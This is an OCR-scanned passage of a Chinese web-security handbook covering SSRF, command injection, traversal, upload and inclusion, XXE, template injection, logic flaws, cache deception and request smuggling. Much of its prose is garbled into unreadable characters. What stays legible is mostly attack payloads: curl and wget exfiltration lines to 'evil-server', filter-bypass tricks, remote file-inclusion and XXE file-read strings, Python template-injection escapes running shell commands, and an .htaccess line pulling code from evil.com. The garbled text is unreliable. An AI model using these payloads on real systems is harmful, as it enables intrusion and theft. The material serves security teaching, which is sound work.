ZZ, MMXAWRZE, W PAUEFT DNS B0 E K.

F5E)N DNS BB EUnl, JATTE k4, H BRI i 4 2 21341 H 2/ DNS Server, 7E3K
I AT4ER) DNS Server b2 SHTZSS . BLE TTL WEy 0o XS AMEFTEGE T, S8 BB -

o Mosarimaifs URL B4, dE4755—k DNS f@#tfr, 345 17— AEA R IP
o XPTHAGH IP JEFT I, ZBUOMARRA B IP, i s gk

o Megsdumxd T URL #4751, T DNS JR55aeil &/ TTL 2 0, FreAFRku#EsT DNS fi#fr, X—ik
DNS fij 55 a2 [m] (4 52 A ) Lk
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o MTEALEdEIE, BrAMRssdmk [ A S IR ZER o

FIF IPv6

LR %A T IPV6 (TSN, (F2 N M SRR IPvG, WIWT A IPv6 (4 IP 411 [::1 0000::1 5§
IPv6 fY N W42 ok Gead 1

FF IDN

— B 2815 T2 Curl 282 e E brikiai4% (Internationalized Domain Name, IDN) 1, EPr{biEig X
FREFIR PRS2 F570 0 550 4 T A RRIR I S Bl o B2 ) EL I 3 42

LERBEFRF, WATAFRAETIR A0, $I . i example. com 4F[, F A,
AT SFATLEL N BRL

4.4.5 TIHERIFIAR

PR 35

Apache Hadoop itFe6r 24T

o axis2-admin #B%E Server fydHAT

e Confluence SSRF

« counchdb WEB API ey 44T

o dict

o docker API Aty AT

o Elasticsearch 5% Groovy Ay 44T

o ftp / ftps (FTP &)

o glassfish AT 5 SCFBEHU war SCPFRRE A1 H2 i 2P0 T
e gopher

o HFS imfiar & AT

e http. https

o imap/imaps/pop3/pop3s/smtp/smtps (BERE MRS 745 %0 )
o Java Y4z 0 Ay AT

o JBOSS i#% Invoker war iy 23T

o Jenkins Scripts 3 a4 T

e ldap
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« mongodb

o php fpm/fastegi frdH4T
e rtsp - smb/smbs (j£#% SMB)
o sftp

e ShellShock 24T

o Struts2 AT

e telnet

o tftp (UDP #pZP &)

o tomcat AT

o WebDav PUT A% 3
+ WebSphere Admin WJ#FRE war [H# Ao HhAT

o zentoPMS mFEay AT

Redis

« 5 ssh A4

e 5 crontab

+ 5 WebShell

o Windows 55z

o BEMEHNE.s0 L1
o FMIEHE TR S

=EH
1 AWS. Google R, il U5 =PRI LS APT BB APT, AERRZME UL T T ASE AU

BB

4.4.6 BHEIA

o JPERFIE R

o G—HHRER

o PRI K A 1

o BRI RN

« %} DNS Rebinding, #%&f#if DNS 24 % Host 194 ¥
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4.4.7 BEYELE

SSRF il 7 5 A1 H
e A New Era Of SSRF

php ssrf technique

W—RUNTAE Python & H4E4 SSRF ik
e SSRF Tips
e SSRF in PHP

4.5 HLEN

4.5.1 &9

T TEA RN 4 Web BLIFEAR 55 LD RGeS M0 A iha i -

& Ui 18 ) B AR S I — BE T BB SR . e A — 28 Web AP A9 TICE L4 /1P /1
/W% BR ARG B AM R EFSF R, B — & AR ping. nslookup. $RAUAKHBIE. Fedfl

Ji ZE DI REHR T BE L% U o

4.5.2 HLEREE
PHP

e system

e exec

e passthru
o shell exec
e popen

e proc_open

Python

e gSystem
e popen
e subprocess.call

e spawn

110
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https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
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https://joychou.org/web/phpssrf.html

Web-Sec Documentation, &% 1.0

Java

o java.lang. Runtime.getRuntime().exec(command)

4.5.3 BREAFX

. A
o || && & 43|

o | HEAT

\r\n %d0%a0 #f7
5 |5 fi AT
o $O Bin

4.5.4 TEIEHIZ

« bash JZifif shell
« DNS 4 4idi
o http Hi4h
— curl http://evil-server/$(whoami)

— wget http://evil-server/$(whoami)

o JEHTANNFI sleep BCHAE FAE A R

4.5.5 BRGEHX

Eiesd

o < ff5 cat<123

o \t /%09

o ${IFS} Mot {} AT, AN catSIFS2 i IFS2 BAFRAY . Hoh, fE/RIHMAS $ nf DA FIE
Wit Ve, — M 89, Bk $9 J2 Y4BT R4S shell HFRRHE A SBINFFA Y, BIRE N T

Rapsd

e a=1;b=s;$a$b
e base64 echo "bHM=" | base64 -d

e /?in/?s => /bin/ls
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o JEIEST cat /etc/pass'w'd
FN

FE LRI LA B cat$x /etc/passud

RERRHISE T

>wuget\
>foo.\
>com

1s -t>a

sh a

T TE B AT EE M H A G, HEEE s AL a2 B A, RIS PATERAE Linux
Lt T RATROT, B SCIF 5 AR € 1) A5 2 RIS I iy 21X HUn] DAGE ] — 253500 w,[Z B aan S, (B
Is /usr/bin/? A7) HRABMAES, FHE Ctrl+D A REER, ARRE T AR S AR = E AL php H,
{liJ] shell _exec SFPUAT R GE A1 BREHIIHGE, Je ANTFAERRIERI AR, BT ART AL O S0

4.5.6 EHFS
HLARAF

o %0a/%0d / \n /\r

’

. &/ &k

BECHT

o x 0 HIES MERE A

. 7 AMEETH

o 01 AERSHIFE, eg. (abod)
[ - 1 ARSI P BFA 4

[~ 1 ARSI

4.5.7 P51
o NBEH IS AT Y, B
o SRAEIITINEIN B R 2l fiy &
o M A RIS G A

112
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o a4 shell Ty sF

— shell JEFAFALTE #&;, [*7~<>" O [1{}$\

4.6 BRFiE

4.6.1 Er

HspzEll (tpfroh H skl [y /directory traversal/path traversal) J&ilad i . ./ % H 46l o) e s
(R 08 AR R T AT SO R S8 EIAER SO E %, Rl @ AR IRAARD . T SCfF . SRR R 5L

4%
4.6.2 it
URL &%

o« ../

o ..\

o ../

Nginx Off by Slash

e https://vuln.site.com/files../

UNC Bypass

e \\localhost\c$\windows\win.ini

4.6.3 TiESET

LR P
- ../

« URL %ifi%

e 16 fif Unicode %%
— \u002e

. @K UTF-8 4if%

— \%e0%40%ae

4.6. HEFHE

113
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4.6.4 P51

TEVEATSCPF AT G B APT R, W0 P AL D8 . By U R aT ABE I 4% B, (AR ipali o Rk
BT,

SV PRI 2, Bl BT 24 B B R U AR AL R B BRAR J5 , EAT I8, IRJEFRREATAN %
P

4.6.5 BEHEEE

e Directory traversal by portswigger
o Path Traversal by OWASP
e path normalization

o DBreaking Parser Logic: Take Your Path Normalization Off and Pop Odays Out defcon

4.7 HER

75 EBEICAT A R SR S
o JTHR P IEBOE Sk
— .bash__history
— .zsh__history
— .profile
— .bashrc
— .gitconfig
— .viminfo
— passwd
o BEHIMHCE SCOE
— /etc/apache2/apache2.conf
— /etc/nginx/nginx.conf
o BN H & SCPE
— /var/log/apache2/access.log
— /var/log/nginx/access.log
o MR H R FIBUE Sk

— .svn/entries
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— .git/HEAD
— WEB-INF /web.xml
— .htaccess
o RERkIRE B SCIE
— .SWp
— .swo
— .bak
— index.php~

e Python I Cache

— __pycache__\__init__.cpython-35.pyc

4.8 X k1%

4.8.1 BB

EXiARGE

A Rl S AUTE RS I T SCPF2ER, RIS I AT AL EAE S M 45 ok el [RIRERY A ARl eSS
ALK A T HTTP Header {5, HAIl Content-Type %5, X Flvkh 2 [AI 4% T DAJE 115 i 9 4515 5K 48

Magic #&ll%ed

ARl 5 SCPE S R AG I SO, X Az A T AYE Shell BIAIARS R A5 PASERL AL . TLARRS LAY 5C

PFEZUR KA IR R R

KR | ZtlE

JPG | FF D8 FF E0 00 10 4A 46 49 46
GIF | 47 49 46 38 39 61

PNG | 89 50 4E 47

TIF | 49 49 2A 00

BMP | 424D

B&gE

Ha IR DURTE RS _EAL I E R B 2 Magic Header SCHIBTSCPFIEAY, BN ] PAGEL

4.8. XLtk
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php SR H, RS ] BE R A IE N /ph(p[2-7171t (m1)?)/ [¥)54%, 4l php / php5 / pht /
phtml / shtml / pwml / phtm SFA[FESE IE B A% php SCAFRRIEZEEL.

jsp BIEEN R B A#MT jspx / jspf / jspa / jsw / jsv / jtml %5)5%4%, asp %1% asa / asax / cer / cdx /
aspx / ascx / ashx / asmx / asp{80-90} %54,

M Taxsbgant, HARM IS 4% FRE A BER R 8%, 4l vbs / asis / sh / reg / cgi / exe / d11 / com / bat /
pl / cfc / cfm / ini &,

R a5l

£ Windows &%, [f% index.php. &xHAH4A . , AILAGEH EHA . 724K index.php’20 ,
index.php:1.jpg index.php: :$DATA %, ¥E Linux RGH, 1 PAZEA 14444 index.php/. B ./aa/../
index.php/. Y31

.user.ini

7E php PUTHYEFES, BT 3 php.ini Z 4, PHP dSFERAS H S T4 INT S0, M7 PHP S
JIrtE H S —H EFH3] web AR H 5% (8_SERVER[DOCUMENT_ROOT’] Fif8&E /). AR HITH) PHP
AAE web AR 2 AN, WHEHNZH . .user.ini PA[PAE X2 T PHP_INI _SYSTEM PASMEH
PRI, ST DA .user.ini il FAE php JEZMI SO E— shell, Hfl auto_prepend_file=01.gif .

WAF %5t

1 waf ZEGS L ARP % EEIMEREBR , LB A, S A DA A A KR sk g e F b B
R

534, Waf il Web R0k boundary [IALHR 5, AILAMIAHRAY boundary K5 L6 .

59 iegd

FHMS 28R T 00, MR A SO a7t FEcRili g5 38et, ATDAR AL E 2, Web Shell
BOSCHEIE2 A, 22 GBI TT 35 Shell,

4.8.2 WHEIS

Apache EF GetShell

Apache WA OV EE 0] % 2 A% htaccess
W H

AddType application/x-httpd-php .png
php_flag engine 1
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FATPAM png 88 HAIWE 289 SR php AT

REEHEERIEX

AR RSP SRR SCPERS . ATRA I8 AR S-S HE B SO IR 5 e oA ML B, T SEBUE R
SCPFEEBUR AR

4.8.3 BhIP#RI5

o D 40 BRI _E AL ST 262
o (EE AR A SOPE AU AR A
o PR Web Server Xt b A% S I (figHT

4.8.4 &%k

o ML EALTN Fuzz

49 XHaE

4.9.1 Efll

LSO B IRIR Ik <?php include("inc/" . $_GET['file'l); 7>
% i LA 5 sl
o [AH & file=.htaccess
o HEMy ?file=../../../../../../../../../var/1lib/locate.db
o HEYEA ?file=../../../../../../../../../var/log/apache/error.1log
o FIf] /proc/self/environ

Hor HAERT A SSH H &8 Web HESF2Fh H AL

4.9.2 fiiR Sink

« PHP
— include
* R E R I A RS, N T S 4LiE )

— include__once

49. xH¥aE 117
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AL E—IR
— require
AR SRR, S ERR, AT SHER

— require__once

4.9.3 GEiFI5

LI BRSO 2 A, AT RES IR B O A T 1y, — e U R LA S 7 X

url YREESET

W WAF H2 AR UERE, WT AR url 204y s UnT PAGE

o JRLERFULS, BESCPESCRFMEN Shell ECAF, W07 + 25
o wrl FPEEH] 7 # WTRES DN include W& A4S

o FEEHLN, unicode ST [l (HRFIEAHE Y AT Al — N CR

%00 B

VTR a2 nagic_quotes_gpc KM, 1M H. php AN 5.3.4,

K BT

Windows _ERSCPE2 KERSCFI A o AR RAR A MRESRITER, U KR KA 259 4> bytes.

msdn F X #define MAX_PATH 260, H 55 260 N NFAFELE R \O , 1 linux A] DA getconf &K
Wi SCE 24 K R BR AT SO AR BEFR

FREUR K SO K getconf PATH_MAX /root 53] 4096 FREUR K C{F44: getconf NAME_MAX
/root 53| 255

I2AER A RAIEHE, /. /././ (0 A) WIE T DAE X A A g
1€ php IS, X AL X%k php M4 < php 5.2.8

thimissed
o LR fU 5 F 3K  allow_url_fopen=On H allow_url_include=On , payload X 7

file=[http|https|ftp]://websec.wordpress.com/shell.txt KL
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o PHP input: ! payload i{7F POST ZEUH/E &304, oK allow_url_include=0On , payload
>k 7file=php://input KL

o Base64: {fiff] Base64 thPMLEEE Y, payload 2k ?file=php://filter/convert.base64-encode/
resource=index.php HJEI

o data: ffiff] data PP, payload 2l 7file=data://text/plain;base64,SSBsb3Z1IFBIUAo=
B, oK allow_url_include=0n

il G

allow_url_fopen Al allow_url_include FZE/241%f http ftp WA UGEAIES, HWILW AR SMB.
WebDav #4552k S R o

4.9.4 BEGEE

o Exploit with PHP Protocols

o 1Ifi cheat sheet

4.10 XXE

4.10.1 XML EHi

XML 50§ JBARICHE S (eXtensible Markup Language) , &80 TAric B 1 SO A G5/ PR FRid
HE, WO R . XML SCRY 25 405G XML FB, DTD SCRYRAE L (W3 )« ORIt
. Hul, XML SCUEABCE SO (Spring, Struts2 %), SCRYEEH BT (PDF. RSS 48). E gt
A (SVG header) WA AT 77 . XML [iEE#ITEH DTD  (Document Type Definition) i .

4.10.2 EXEZE
XML CAYFEFF 34 <7xml version="1.0" encoding="UTF-8" standalone="yes"?> fy%y, iXFh&itypl
Bkl XML prolog , FIT7EH] XML SCEAM ARG, 2 ATHERY, (2 AUBTE SR IT 3k .
T AR IR AN, XML (5 304 DA T ARk -
o JIiH XML JTRERAAE XK bR
XML FR%E05 K/ INE U
XML D545 E A b
XML SR ATE HRICH
XML @A 25 5
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75, XML 4 CDATA i3k, TR ZAFAFH ZH R DL -

4.10.3 XXE
YAVFG NSRBI MR XML A%, SEEERULESO . AT RS 50 A k55 H

Bt N M A5 f 2R . — ) XXE Jeily, RATERR S 43 1] S i 1 4 i) 2Rk _E A RE B XXE il ik
WUk 5 a i SC . (Hg thn] A sd Blind XXE #4977 e s .

4.10.4 BiHFHR

B4R S W i

<IDOCTYPE data [

<IELEMENT data (#ANY)>

<!ENTITY a0 "dos" >

<!ENTITY al "&a0O;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&al;&al;&al;&al;&al;">
1>

<data>&a2;</data>

TR NS, WIZORINSE,  H bRl nOn] BEA A 55 Uil . BRI n] B 2 SR Ak A
H, WAT5 I E RSN, PASSBIGE AR -

SCHFIEER

<?xml version="1.0"7>

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY file SYSTEM "file:///etc/passwd">
1>

<data>&file;</data>

SSRF

<?xml version="1.0"7>

<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>

1>

<data>4</data>
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RCE

<?xml version="1.0"7>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>

</catalog>

Xlinclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.0rg/2001/XInclude"><xi:include href="http://publicServer.

—com/file.xml"></xi:include></data>

4.10.5 BEHEEE

XML #fs

KRB XXE i 8epi
« XXE St

M XML A K—2—2L 5] XXE JHiF

4.11 #RhEAN

4.11.1 &4

BRI T S 2N A B BT SR % b 1 P P AR A A% A, DAZE AR T, A
TR Bt B AR (AN ER) . TEIRSE) Ab3E R SCBOE, Ao Vet i i 3 ok
wEREA, RSN E. WREEE RS H R BB, W ARNTRE REAS A T B8 1R SC8diE,
Ho AR IS A B T LR A 1 2k

4.11.2 AT &

o HiEMIG %
o BRGIEEM RIS, Bl L L A K B AT s BSOS &
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o ST, S

4.11.3 Ui A 6

o TEAREEERR, {{ 7+7 3} => 14

o FHERFGAR {{ "ajin" }} => ajin

e Ruby
—<h=T7 x T %>
— <%= File.open('/etc/passwd') .read %>
o Java
— ${7*7}
o Twig
— {{7%7}}
e Smarty

— {php}echo “id";{/php}
e AngularJS
— $eval('1+1")
o Tornado
— 5 {% import module %}
— => {% import os %}{{ os.popen("whoami").read() }}
» Flask/Jinja2
— {{ config }}
— {{ config.items() }}
— {{get_flashed_messages.__globals__['current_app'].config}}
— {{''".__class__.__mro__[-1].__subclasses__()}}
— {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}

— {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()
i3

e« Django
— {{ request }}

— {% debug %}
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— {% load module %}
— {% include "x.html" %}

— {% extends "x.html" %}

4.11.4 B#x

. BlHXTS
. XfhEE
AP
L
b2k

4.11.5 HxXEH

__class__

python HHAYHIAIE (RIZ/RAK object MRINA) A MmN __class__ TIPS ATSLBINT RIS,
B . __class__ AT DAZRIE] T AT RS BIRS RYAR2E

mro

python XL __mro__ JEPELIRE—A tuple Xf4¢, HAP & T YRR TE MREZS, tuple Hh
JEEWIFE MRO (Method Resolution Order) -4 Ii)F .

__globals__

BAF T R BT BT AT 4R i, FERT AR, WTDARE __init__ RO RAGRE, Hilid __globals__ 3k
B file os SEMIHPAZEAT T — B HYFIH

__subclasses__()
python HFEEMEE T EFTH N TEHNEIH, __subclasses__ () XN ER ] T 28M BT A 1RIE ) 1209
I CREXZRTIN, A2EH).

[K°8 python HI{ZRERZ ALK object ), BTLAR T object ZEXT41 __subclasses__ () JERLAT PASR
BUEZE R MRS .
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4.11.6 #I) Payload

e ().__class__.__bases__[0].__subclasses__() [40] (r'/etc/passwd') .read()

e ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.
values() [13] ['eval'] ('__import__("os").popen("ls /") .read()' )

4.11.7 G315
FHBEHHE

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']() [60]

ERSHsd

params = {

'clas': '__class__',
'mr': '_ mro__"',
'subc': '__subclasses__'
}
data = {
"data": "{{''[request.args.clas] [request.args.mr] [1] [request.args.subc] ()}}"
}
r = requests.post(url, params=params, data=data)

print (r.text)

4.11.8 &E5EE

o Jz55 st A
o JiI Python FEAL AU ThAT

4.12 Xpath jJEA\

4.12.1 Xpath FMX

XPath JEAZdHZHEFI ] XPath fEHTEAAR B AN SRFE, BEUSTE URL, RPSHEER LM
() XPath #if) U5, PASRFFAERAE SAT7 IO B0 2815 B . XPath FEATGEEFH0 Web iR BT 7Y
Witirik, EAWIGEEAERSOAREE XPath Ffg Al KRR T, @id XPath Aifgf35]—4> XML 3¢

PSRN A
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4.12.2 Xpath ;ARG RE

XPath AT 2R @ ARV A, X AT XPath (VA —LE41 G, Xt
BASHENSRAEA Web W HIRERE , @ 04T XPath Al ST ARH EE A B, TEU\}\"
SREUE BN B, B XPath A LG S EL R

7E Web B FEF B R EIERE . — A 4% (username) FIEERY (password) PS4, Ffp&ilid
F P B A2 i A P A RN R ARAT AR . A BRI A e XML Seffrp, sl A2 4R user
FHIH 4 (username) T (password) MEERARIATHALTI,

BIFELE user.xml SCEFEHIF

<users>

<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>

</user>

<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>

</user>

W #E XPath A H B B & i) 1F A A //users/user[loginID/text()='xyz'and password/
text ()="'123test']

B2, AIRARMAN N Sy A B, Sead Sy, QR A P % A—A login Fl password, 41
loginID = 'xyz' #F¢ password = '123test' , NNZEAIEARAR I true, (BAIRH L AZELL ' or 1=1
vr=t M, IRARANE A E] true IR M, B XPath ARNEAT AL AT R 5 //users/

user[loglnID/text()—"or 1=1 or ''='' and password/text()='' or 1=1 or ''='"']

NFRFHRAAEE B A —HIR W] true AR — H AW E VI ARSE. B nl AR XPath 755 H
ﬁﬁ?*mmﬂﬁi‘%ﬁ XML SRS, Bk 5 B st il DAFR AT XPath B A AR RIS A SR K-S H 2 3
RE

4.13 BigimiA / WFimiA
4.13.1 &4

R4 TR P B AN S8 LB AR SO B AR R B TR -
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TESEERIT R, A TF R KA —3c T Anigil 0 H 55 A Rt N By St 207, BT AR &
BRI -

4.13.2 ZIKiBIH
o AR AE LS E B
o BFH R AR SRR B
o BB FU B AESRIUE B

4.13.3 %5
RIS

ERSATR irds
BT
1 BRI SRS A B
LR &It
R K
H B RH E BAL AN 21

LIE-7k

o WIPLEZ
- ¥

4.13.4 kP

X))

o I

o ZREEMH A

o MR DI RO A RS
i

o BRI A A IRAT
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HRFER P&
o IR

o K/NEAR:

Cookie

o WEERER
o REUEAEME] i
FHNSHRAE

o IR

o 486

o fHJE
o IRSFE

o RIS I ALK

&OEE

AL D

ey &

o MR EUETY

o BUCER A N EIIE

Bif

. Bt
. B

T T A L P AR i
Token Bl 38 H7E i i

o X-Forwarded-Host AbFHAN IEHf

4.13. ZiERAE / LEiwA
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B

o ORM HUF#HAA 24 n PR 7B
o AUBRERHIA 24 ] DAL AE 24

f

ok

BEiA

o BURRFRAA 24 0] ABA A )
o MPEE ID W] ARSI 20k

4.13.5 2FA

o EEWG H ISR 2FA
« OAuth %4 3 2FA

o 2FA WML

o 2FA f M54

o BUGR [ EZES

o WRHERIRA A 2FA

A[i@ CSRF 2] 2FA

4.13.6 3SUED

A TRETIE ¥

A IRERIR I

o BIEME SR A

o BGUIEAH 0k [F] R A s SR A TR
AN REP NS4S ]

AR ELESUES P RIbE 3 E RN G 2 i €2 30)
o BRUER AT AR 0] 00 B SRR

o BOUERD AR TERk

o BEMEECEA R

o SRRt R o]

o &L Cookie it

o BEuR P H LT
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o BOUERTER A R
o BERS R OCR =l FHLER 2~ R 51
o BOURRS T FHURELS AR AR

4.13.7 Session

o Session ##l
o Session fE / KA
o Session i
e Session i

¢ Session Fixation

4.13.8 HEL

. SRR
o JkoF R
— et AT 5 A A AR 1 Y O
— BRI, 1D s
. RTLHER
— (RGBT DA R ST T VO
— R TD R,
. SR
— U D W, F

4.13.9 MEHEH=RE
o ML ERBEYLECR g
o (YIS 1) 45 2 5 AR ) PR R A AL R 1

4.13.10 Hip

o JAPTATHY/ IS ID AR R U, Ak
o BEOOBUR. UALIRH
o IERRSHR A
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o JATIF

o THURYE Bt R

4.13.11 SE§ERE

o TP b A5 56

o AUEEUERTD 22 4 MU B R AR

4.14 fEBEZE

R E A
— FAGEHE
— TR
— h
— M AMEEHIR
* FHLS
*4H
* A
* P4
— fil S AR O Y
o BOE SO
— gt
— svn
o B
— Mongo/Redis 554 A Io % 15 HLIA BR 5 1)
o kR
— TEZ ) A AL
o ZJiVe/EAE
— AT S B S S
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4.15 dhjElff

4.15.1 1IS
11S 6.0
o JRBRHT /xx.asp;.jpg
— MRS ERERIAAIENT 5 5 RESFHNZ, 24T
Hf#T /xx.asp/xx. jpg (xx.asp Hg NMERMT)

BRAAEHT xx.asa xx.cer xx.cdx

o PROPFIND #ki: H Il

« RCE CVE-2017-7269

1S 7.0-7.5 / Nginx <= 0.8.37

1 Fast-CGI RS, 7E3CF#AR/E I E /xx.php , Bl xx. jpg/xx.php XHFNTA php .

PUT iRiR
« I WebDAV

o AR, HARZER A LEAUR
o LR AR

Windows 514

Windows AN P28 DA —SURFIR FAFE N Z5 e, B SO B sl B 44, TPART AMEA xx.
php[&#] , xx.php., xx.php/, xx.php::$DATA [ALRHIA S,

XtraIER

{E3CH NTFS 8.3 SCPbHeatit, alAACHEA R H S0k . a4
o SCHRARIESCHEAET 6 REFRPILE -1, FCHSCr SO A0, ARAEAER U RSO, IS A
BT
o BEARHE 3 R, B2 p e
o BPAINE TR S R

o XMHEBRRKERNTET 4 FELRKERTET 9 WA KA S, AR 2% a3 AR 7
FERTAT, WITCHLR 4 F
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IIS 8.0 2 BRI MAS 8 o4& 55 Mg HTTP 3k 334035 : DEBUG. OPTIONS. GET. POST. HEAD,
TRACE 7 F, FF%4:% ASP.NET, ifi 1IS 8.0 2 J5 A LAkt OPTIONS #l TRACE J7 yA%5 1 3 ,
{H2%A ASP.NET [FRRHil,

XA SR FRAEAE T

o AT 6 AT A 7, BRI SICE UM SO, R4 IR IR

o ASZFFPICCH£
XA ER PAIE IS A4 fsutil behavior set disable8dot3 1 X[ NTFS 8.3 A& Lk 5H .
SEHE

 F Windows HFHERI F %

o Uploading web.config for Fun and Profit 2

4.15.2 Apache

[SERIRHT

test.php.x1.x2.x3 (x1,x2,x3 N AL mime.types XA E XA SO ) . Apache M AT AT AEH]
WriE2s, # x3 NAETTIRBIESE, WEEIWr x2, BRI ARSI, SRS AR5 A T AT

.htaccess

4 AllowOverride #% 2 AR, _EAZ B T HLNEY) htaccess

AddType application/x-httpd-php .jpg

php_value auto_append_file .htaccess
#<?php phpinfo();

Options ExecCGI
AddHandler cgi-script .jpg

Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaWbsmbygpOw==

(@3
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(B bTT)

#php_value auto_append_file data://text/plain, ,3CK3Fphp+phpinfos,287,29/43B
#php_value auto_append_file https://evil.com/evil-code. tzt

BRiER

fil & Options +Indexes I} Apache f£7E H 55 i i -
CVE-2017-15715

%OA GEid PAG R,

lighttpd

XX .jpg/xx.php

sS4k

o Apache FE%ERE

4.15.3 Nginx

Fast-CGIl ]

TE Fast-CGI #HRENR T, Nginx 3SRAAAEMNTINI : 72O E (xx.jpg) JETRIMN L %00.php , B xx.
jpgh00.php 44 php SCHFRARMT

Fast-CGl 5

1 Fast-CGI FEEVRS F, 7825 L /xx.php , W xx. jpg/xx.php S BEfEMTH php SC1F

CVE-2013-4547

a.jpg\x20\x00. php
BoEEIR
BRZFH

R E P EAEZR{ location /foo { alias /bar/; } WIECEI}, /foo../ &Wif@#MNT N /var/. ./ NS
HH SR KA.
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BREH

Bl autoindex on FFJEiHY, Nginx HfEAE H sl [y o

SEHEE

o CVE-2013-4547 Nginx fEATIEIRR AR T X281

4.16 Web Cache EtIRIx ik

4.16.1 F4r

S A £ M A CDN . SR 2. ok R 1 (TR 5B Web ZE(ETIRE. AT ARSI 10 ST
Wk A 2 95 st e L FEE 3R

B4, MG htttp://www.example.com Bl T I MR, SFFHREEA S A PN AE BT, W http://
www . example.com/home.php , T4 R NEAG IR, HIXETRGE R 23S E W, HAR
TEZAFIR S as h AT A7 . WHEZAT FZ 2T AT R ERS S, A0 css SCMF. s SCMFL txt SOPRL &
A b, MRE RS SCE WA, X TR RE A TTUT M E S SO T A7, I H 220 HTTP
Web cache Zeit DI RPO MHXHE B TG, VOB T 45 45 H0F URL OARB 7. L4 R
TE7EW) URL Bf, 4 http://www.example.com/home.php/non-existent.css , WIS #F &1L get K, K
THANFEARSHEE, RS0 T H http: //wuw. example. com/home.php FJINZ, [FAT URL Hihik{)s
SRZE http://www.example.com/home.php/non-existent.css, http SkHINAW 5 H B http: //www.
example.com/home.php #[F], cacheing header. content-type (AL text/html) HAH[A .

4.16.2 jmiE A
2 R AR 55 #5 BEN R A S SCE I 3% S5 S caching header B, 15[ http://www.example.com/
home . php/no-existent.css b, 2 KA AANR? BEAI R AT :
1. WI%#49E K http://www.example. com/home . php/no-existent.css ;
2. IR4#4R[0] http://www.example.com/home.php [ NZE GHH KA D EAFL T );
- W R 285 PR R 55 4
- ARBHFZ A css Ja2;
CFEGATHRT, ACBARSS 45407 H 5% home .php , R [HIK N FEFEA non-existent.css fR17.

w

W

(@1
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4.16.3 j®iAFIA

Bk W P E) http: //wuw. example . com/home . php/logo . png?www . myhack58. com , SE&A H 4>
MNMEB WU AT, MMEERE AT S B/ ERR T, GRR BN AL session FRil. 4]
NS, B34 csrf token, IXFEUH A BB G PRAFX LLME ., BRMIE &1 5 ACHR A0 0 0 S e TR 2 A I
EIRvA Lo

4.16.4 JmEEENFHE

Rl o A ) Ll N TR A L
1. web cache IWHEARIEY JEHEI TR, FFZM& caching header;

2. X494 http://www.example.com/home.php/non-existent.css NFFER T, 23R [F] home.php
AR

4.16.5 jiRIPA1E

B il R 3
L BEZALN], (ULZAT hitp caching header FRVFHYSCHF, iXREMARAS LALLMl
2. WERGAFAM SRR, BRI content-type HEATE A7

3. 1JjlA] http://wuw.example.com/home.php/non-existent.css X ANIEFEVLH , A% [H] home.php [1)
7S, TaRME 404 5% 302,

4.16.6 Web Cache EXIRXHr5scHi
Paypal

Paypal TERMBIR 2T, M xdedy, TASIBAE BAHE: s . Ikmam. FHN-RRE 4 68 %2
Sy . emaill HUIESE(E L. AT RER 7 DU L -
e https://www.paypal.com/myaccount/home/attack.css

e https://www.paypal.com/myaccount/settings/notifications/attack.css

e https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details .

4.16.7 BB HEEE

o practical web cache poisoning

e End-Users Get Maneuvered: Empirical Analysis of Redirection Hijacking in Content Delivery Networks

4.16. Web Cache H{IRI 135


https://portswigger.net/blog/practical-web-cache-poisoning
https://www.usenix.org/conference/usenixsecurity18/presentation/hao

Web-Sec Documentation, 475 1.0

4.17 HTTP i&EkEFA

4.17.1 &4

HTTP 3R ER—F TR b2 HTTP 355K F 00500 ER, B FAE 2005 4RH—fF 0 ihideih

4.17.2 p&A

T SR AEFAR 2 26 T 1 i MR 45 R i I 45 ) 5 P A5 A BB BRAR A — B0 I 0 . X2 o HTTP #)
JOPRAE TR R B T RS TE E i R 45 R B, Bl Content-Length # Transfer-Encoding #53k.

4.17.3 43

o CLTE: iR #5{# ] Content-Length 3, J5uifiR%#%6 /1] Transfer-Encoding 3k
o TECL: HiuiiR523H/f] Transfer-Encoding #r3k, /GRS Content-Length #53k.

« TETE: Hisufl)5infiss #3#0 3 FF Transfer-Encoding #rk, {Hignl DAL BRI 20K 5 & Hirp—
MR F A AL BE .

4.17.4 Wik
CL &% 0 By GET &k

YR 5 4 VF GET WREEMITRIE, RS54 A LV GET 3 RIEIERIK, B2
GET >R ') Content-Length 3k, ANIATARE. HIUITR WX AH] T

GET / HTTP/1.1\r\n
Host: example.com\r\n

Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n

\r\n

Bk 45 4 ALBE T Content-Length , i J5umhRk 55 #51% A AL B Content-Length , H T pipeline LA RiX
Pt e VAL RT3 N o ) AR R I

CL-CL

Ml REC 7230, S5 A2 B3R Pl 54> Content-Length , il HWH HEA RN, 525k (8] 400
RS, HRA B SS 4 A A SR AT . XAPIEOL T, RIS 345 ORI Y Content-Length Y,
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e B . Bl

POST / HTTP/1.1\r\n

Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n

a

XA a BT AT ANk, A8% aGET / HTTP/1.1\r\n .

CL-TE

CL-TE #5uiumiik 55 #74b ¥ Content-Length iX—if3K3k, IMij5umk 45 A4 <F RFC2616 WML, ZNghs
Content-Length , AL Transfer-Encoding . fi#:

POST / HTTP/1.1\r\n

Host: example.com\r\n

Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n

O\r\n

\r\n

a

AT a [FFES PR AT —AMi3K, 20 aGET / HTTP/1.1\r\n ,

TE-CL

